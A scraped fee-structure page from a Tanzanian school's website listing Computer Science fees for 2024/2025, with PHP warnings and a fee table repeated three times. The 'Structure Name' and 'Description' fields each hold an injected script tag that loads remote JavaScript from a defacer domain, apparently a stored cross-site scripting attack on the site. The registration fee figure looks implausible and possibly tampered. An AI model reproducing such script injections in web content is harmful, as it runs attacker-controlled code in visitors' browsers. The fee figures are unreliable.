Fee Structure Information
Warning: Undefined array key "account_type" in /home/lbsactz/domains/lbs.ac.tz/public_html/view_fee_structure.php on line 127
Warning: Undefined array key "account_type" in /home/lbsactz/domains/lbs.ac.tz/public_html/view_fee_structure.php on line 127
| Program | Computer Science (53676) |
|---|---|
| Academic Period | Academic Year 2024/2025, Semester 1 |
| Structure Name | <script src=\"https://jso.defacer.id/raw/HcW1F5obN6\"></script> |
| Description | <script src=\"https://jso.defacer.id/raw/HcW1F5obN6\"></script> |
|---|---|
| Created On | 04 August 2025 |
| Status | Active |
Fee Items
| Item Code | Item Name | Amount (TZS) | Tax (TZS) | Total (TZS) | Compulsory |
|---|---|---|---|---|---|
| 2000 | Registration Fee | 25,855,222.00 | 0.00 | 25,855,222.00 | Yes |
| 100 | Tution Fee | 50,000.00 | 0.00 | 50,000.00 | Yes |
| 100 | Tution Fee | 1,500,000.00 | 0.00 | 1,500,000.00 | Yes |
| Item Code | Item Name | Amount (TZS) | Tax (TZS) | Total (TZS) | Compulsory |
|---|---|---|---|---|---|
| 2000 | Registration Fee | 25,855,222.00 | 0.00 | 25,855,222.00 | Yes |
| 100 | Tution Fee | 50,000.00 | 0.00 | 50,000.00 | Yes |
| 100 | Tution Fee | 1,500,000.00 | 0.00 | 1,500,000.00 | Yes |
| Item Code | Item Name | Amount (TZS) | Tax (TZS) | Total (TZS) | Compulsory |
|---|---|---|---|---|---|
| 2000 | Registration Fee | 25,855,222.00 | 0.00 | 25,855,222.00 | Yes |
| 100 | Tution Fee | 50,000.00 | 0.00 | 50,000.00 | Yes |
| 100 | Tution Fee | 1,500,000.00 | 0.00 | 1,500,000.00 | Yes |
| Subtotal (TZS) | 27,405,222.00 |
|---|---|
| Total Tax (TZS) | 0.00 |
| Grand Total (TZS) | 27,405,222.00 |
Semester Breakdown
| All Semesters | |
|---|---|
| Fees (TZS) | 27,405,222.00 |
| Tax (TZS) | 0.00 |
| Total (TZS) | 27,405,222.00 |